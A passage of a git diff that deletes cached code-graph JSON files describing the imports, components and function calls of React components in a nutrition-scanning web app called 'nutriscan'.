"source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\card.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_card_tsx", "target": "ui_card_cardheader", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\card.tsx", "source_location": "L20", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_card_tsx", "target": "ui_card_cardtitle", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\card.tsx", "source_location": "L32", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_card_tsx", "target": "ui_card_carddescription", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\card.tsx", "source_location": "L44", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_card_tsx", "target": "ui_card_cardcontent", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\card.tsx", "source_location": "L56", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_card_tsx", "target": "ui_card_cardfooter", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\card.tsx", "source_location": "L64", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/d2f5eb04cb50a73c2487e61d8d23cd8ecad56ec3a90b5d0de4812f1a067f697e.json b/graphify-out/cache/ast/d2f5eb04cb50a73c2487e61d8d23cd8ecad56ec3a90b5d0de4812f1a067f697e.json
deleted file mode 100644
index 7b41e28..0000000
--- a/graphify-out/cache/ast/d2f5eb04cb50a73c2487e61d8d23cd8ecad56ec3a90b5d0de4812f1a067f697e.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_landing_hero_tsx", "label": "Hero.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Hero.tsx", "source_location": "L1"}, {"id": "landing_hero_hero", "label": "Hero()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Hero.tsx", "source_location": "L10"}, {"id": "landing_hero_arrowright", "label": "ArrowRight()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Hero.tsx", "source_location": "L195"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_landing_hero_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Hero.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_hero_tsx", "target": "navigation", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Hero.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_hero_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Hero.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_hero_tsx", "target": "d_documents_github_nutriscan_hooks_use_geolocation_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Hero.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_hero_tsx", "target": "hooks_use_geolocation_usegeolocation", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Hero.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_hero_tsx", "target": "d_documents_github_nutriscan_hooks_use_search_logic_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Hero.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_hero_tsx", "target": "hooks_use_search_logic_usesearchlogic", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Hero.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_hero_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Hero.tsx", "source_location": "L8", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_hero_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Hero.tsx", "source_location": "L8", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_hero_tsx", "target": "landing_hero_hero", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Hero.tsx", "source_location": "L10", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_hero_tsx", "target": "landing_hero_arrowright", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Hero.tsx", "source_location": "L195", "weight": 1.0}], "raw_calls": [{"caller_nid": "landing_hero_hero", "callee": "useRouter", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Hero.tsx", "source_location": "L11"}, {"caller_nid": "landing_hero_hero", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Hero.tsx", "source_location": "L12"}, {"caller_nid": "landing_hero_hero", "callee": "useGeolocation", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Hero.tsx", "source_location": "L13"}, {"caller_nid": "landing_hero_hero", "callee": "useSearchLogic", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Hero.tsx", "source_location": "L14"}, {"caller_nid": "landing_hero_hero", "callee": "useMemo", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Hero.tsx", "source_location": "L16"}, {"caller_nid": "landing_hero_hero", "callee": "toUpperCase", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Hero.tsx", "source_location": "L76"}, {"caller_nid": "landing_hero_hero", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Hero.tsx", "source_location": "L149"}, {"caller_nid": "landing_hero_hero", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\Hero.tsx", "source_location": "L166"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/d31654de61077f2c581325dd779996534355060a9f6c4d9c7947376cf212b4e8.json b/graphify-out/cache/ast/d31654de61077f2c581325dd779996534355060a9f6c4d9c7947376cf212b4e8.json
deleted file mode 100644
index 82f4ad4..0000000
--- a/graphify-out/cache/ast/d31654de61077f2c581325dd779996534355060a9f6c4d9c7947376cf212b4e8.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_components_ui_accordion_tsx", "label": "accordion.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\accordion.tsx", "source_location": "L1"}, {"id": "ui_accordion_accordionitem", "label": "AccordionItem", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\accordion.tsx", "source_location": "L11"}, {"id": "ui_accordion_accordiontrigger", "label": "AccordionTrigger", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\accordion.tsx", "source_location": "L23"}, {"id": "ui_accordion_accordioncontent", "label": "AccordionContent", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\accordion.tsx", "source_location": "L43"}], "edges": [{"source": "d_documents_github_nutriscan_components_ui_accordion_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\accordion.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_accordion_tsx", "target": "react_accordion", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\accordion.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_accordion_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\accordion.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_accordion_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\accordion.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_accordion_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\accordion.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_accordion_tsx", "target": "ui_accordion_accordionitem", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\accordion.tsx", "source_location": "L11", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_accordion_tsx", "target": "ui_accordion_accordiontrigger", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\accordion.tsx", "source_location": "L23", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_accordion_tsx", "target": "ui_accordion_accordioncontent", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\accordion.tsx", "source_location": "L43", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/d42f70494a64cb3fde1f8d768de5c83794a32f91152bc6ade4c9f958c7c78899.json b/graphify-out/cache/ast/d42f70494a64cb3fde1f8d768de5c83794a32f91152bc6ade4c9f958c7c78899.json
deleted file mode 100644
index 84f1de3..0000000
--- a/graphify-out/cache/ast/d42f70494a64cb3fde1f8d768de5c83794a32f91152bc6ade4c9f958c7c78899.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_produto_barcode_page_tsx", "label": "page.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L1"}, {"id": "barcode_page_nutri_bg", "label": "NUTRI_BG", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L19"}, {"id": "barcode_page_nutri_ink", "label": "NUTRI_INK", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L26"}, {"id": "barcode_page_grade_desc", "label": "GRADE_DESC", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L33"}, {"id": "barcode_page_nova_desc", "label": "NOVA_DESC", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L40"}, {"id": "barcode_page_nova_bg", "label": "NOVA_BG", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L46"}, {"id": "barcode_page_nova_ink", "label": "NOVA_INK", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L52"}, {"id": "barcode_page_nutriletter", "label": "NutriLetter()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L59"}, {"id": "barcode_page_nutriscale", "label": "NutriScale()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L88"}, {"id": "barcode_page_novapill", "label": "NovaPill()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L134"}, {"id": "barcode_page_produtopage", "label": "ProdutoPage()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L177"}], "edges": [{"source": "d_documents_github_nutriscan_app_produto_barcode_page_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_produto_barcode_page_tsx", "target": "navigation", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_produto_barcode_page_tsx", "target": "framer_motion", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_produto_barcode_page_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_produto_barcode_page_tsx", "target": "image", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L14", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_produto_barcode_page_tsx", "target": "d_documents_github_nutriscan_lib_openfoodfactsapi_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L15", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_produto_barcode_page_tsx", "target": "lib_openfoodfactsapi_searchbybarcode", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L15", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_produto_barcode_page_tsx", "target": "lib_openfoodfactsapi_product", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L15", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_produto_barcode_page_tsx", "target": "lib_openfoodfactsapi_formatnutritiondata", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L15", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_produto_barcode_page_tsx", "target": "d_documents_github_nutriscan_app_components_productskeleton_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L16", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_produto_barcode_page_tsx", "target": "components_productskeleton_productskeleton", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L16", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_produto_barcode_page_tsx", "target": "barcode_page_nutri_bg", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L19", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_produto_barcode_page_tsx", "target": "barcode_page_nutri_ink", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L26", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_produto_barcode_page_tsx", "target": "barcode_page_grade_desc", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L33", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_produto_barcode_page_tsx", "target": "barcode_page_nova_desc", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L40", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_produto_barcode_page_tsx", "target": "barcode_page_nova_bg", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L46", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_produto_barcode_page_tsx", "target": "barcode_page_nova_ink", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L52", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_produto_barcode_page_tsx", "target": "barcode_page_nutriletter", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L59", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_produto_barcode_page_tsx", "target": "barcode_page_nutriscale", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L88", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_produto_barcode_page_tsx", "target": "barcode_page_novapill", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L134", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_produto_barcode_page_tsx", "target": "barcode_page_produtopage", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L177", "weight": 1.0}], "raw_calls": [{"caller_nid": "barcode_page_nutriletter", "callee": "toLowerCase", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L60"}, {"caller_nid": "barcode_page_nutriletter", "callee": "round", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L72"}, {"caller_nid": "barcode_page_nutriletter", "callee": "toUpperCase", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L82"}, {"caller_nid": "barcode_page_nutriscale", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L102"}, {"caller_nid": "barcode_page_produtopage", "callee": "useParams", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L178"}, {"caller_nid": "barcode_page_produtopage", "callee": "useRouter", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L179"}, {"caller_nid": "barcode_page_produtopage", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L182"}, {"caller_nid": "barcode_page_produtopage", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L183"}, {"caller_nid": "barcode_page_produtopage", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L184"}, {"caller_nid": "barcode_page_produtopage", "callee": "useCallback", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L186"}, {"caller_nid": "barcode_page_produtopage", "callee": "useEffect", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L200"}, {"caller_nid": "barcode_page_produtopage", "callee": "toLowerCase", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L301"}, {"caller_nid": "barcode_page_produtopage", "callee": "toUpperCase", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L554"}, {"caller_nid": "barcode_page_produtopage", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L626"}, {"caller_nid": "barcode_page_produtopage", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\produto\\[barcode]\\page.tsx", "source_location": "L702"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/d74287c55145c28b11f2b324422b420ab2f72892ff3260e59035918aa354152f.json b/graphify-out/cache/ast/d74287c55145c28b11f2b324422b420ab2f72892ff3260e59035918aa354152f.json
deleted file mode 100644
index 0a05270..0000000
--- a/graphify-out/cache/ast/d74287c55145c28b11f2b324422b420ab2f72892ff3260e59035918aa354152f.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_landing_searchbar_tsx", "label": "SearchBar.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\SearchBar.tsx", "source_location": "L1"}, {"id": "landing_searchbar_searchbarprops", "label": "SearchBarProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\SearchBar.tsx", "source_location": "L8"}, {"id": "landing_searchbar_searchbar", "label": "SearchBar()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\SearchBar.tsx", "source_location": "L14"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_landing_searchbar_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\SearchBar.tsx", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_searchbar_tsx", "target": "navigation", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\SearchBar.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_searchbar_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\SearchBar.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_searchbar_tsx", "target": "d_documents_github_nutriscan_components_ui_button_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\SearchBar.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_searchbar_tsx", "target": "ui_button_button", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\SearchBar.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_searchbar_tsx", "target": "d_documents_github_nutriscan_components_ui_input_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\SearchBar.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_searchbar_tsx", "target": "ui_input_input", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\SearchBar.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_searchbar_tsx", "target": "landing_searchbar_searchbarprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\SearchBar.tsx", "source_location": "L8", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_searchbar_tsx", "target": "landing_searchbar_searchbar", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\SearchBar.tsx", "source_location": "L14", "weight": 1.0}], "raw_calls": [{"caller_nid": "landing_searchbar_searchbar", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\SearchBar.tsx", "source_location": "L19"}, {"caller_nid": "landing_searchbar_searchbar", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\SearchBar.tsx", "source_location": "L20"}, {"caller_nid": "landing_searchbar_searchbar", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\SearchBar.tsx", "source_location": "L21"}, {"caller_nid": "landing_searchbar_searchbar", "callee": "useRouter", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\SearchBar.tsx", "source_location": "L22"}, {"caller_nid": "landing_searchbar_searchbar", "callee": "getVariantStyles", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\SearchBar.tsx", "source_location": "L75"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/d750e2139a415c2727f142021f77ebeb34f7b8751af28fd4af913a31a3a38bc0.json b/graphify-out/cache/ast/d750e2139a415c2727f142021f77ebeb34f7b8751af28fd4af913a31a3a38bc0.json
deleted file mode 100644
index d1c336d..0000000
--- a/graphify-out/cache/ast/d750e2139a415c2727f142021f77ebeb34f7b8751af28fd4af913a31a3a38bc0.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_sobre_components_problemsection_tsx", "label": "ProblemSection.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\ProblemSection.tsx", "source_location": "L1"}, {"id": "components_problemsection_problemsection", "label": "ProblemSection()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\ProblemSection.tsx", "source_location": "L3"}], "edges": [{"source": "d_documents_github_nutriscan_app_sobre_components_problemsection_tsx", "target": "components_problemsection_problemsection", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\ProblemSection.tsx", "source_location": "L3", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_problemsection_problemsection", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\ProblemSection.tsx", "source_location": "L44"}, {"caller_nid": "components_problemsection_problemsection", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\ProblemSection.tsx", "source_location": "L62"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/dcf5ede886249006377bd94032d0f12ab27d4c217d347f81b1a79b52bffccd05.json b/graphify-out/cache/ast/dcf5ede886249006377bd94032d0f12ab27d4c217d347f81b1a79b52bffccd05.json
deleted file mode 100644
index 0367beb..0000000
--- a/graphify-out/cache/ast/dcf5ede886249006377bd94032d0f12ab27d4c217d347f81b1a79b52bffccd05.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_sobre_page_tsx", "label": "page.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\page.tsx", "source_location": "L1"}, {"id": "sobre_page_metadata", "label": "metadata", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\page.tsx", "source_location": "L12"}, {"id": "sobre_page_sobrepage", "label": "SobrePage()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\page.tsx", "source_location": "L38"}], "edges": [{"source": "d_documents_github_nutriscan_app_sobre_page_tsx", "target": "next", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\page.tsx", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_page_tsx", "target": "d_documents_github_nutriscan_app_sobre_components_herosection_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\page.tsx", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_page_tsx", "target": "components_herosection_herosection", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\page.tsx", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_page_tsx", "target": 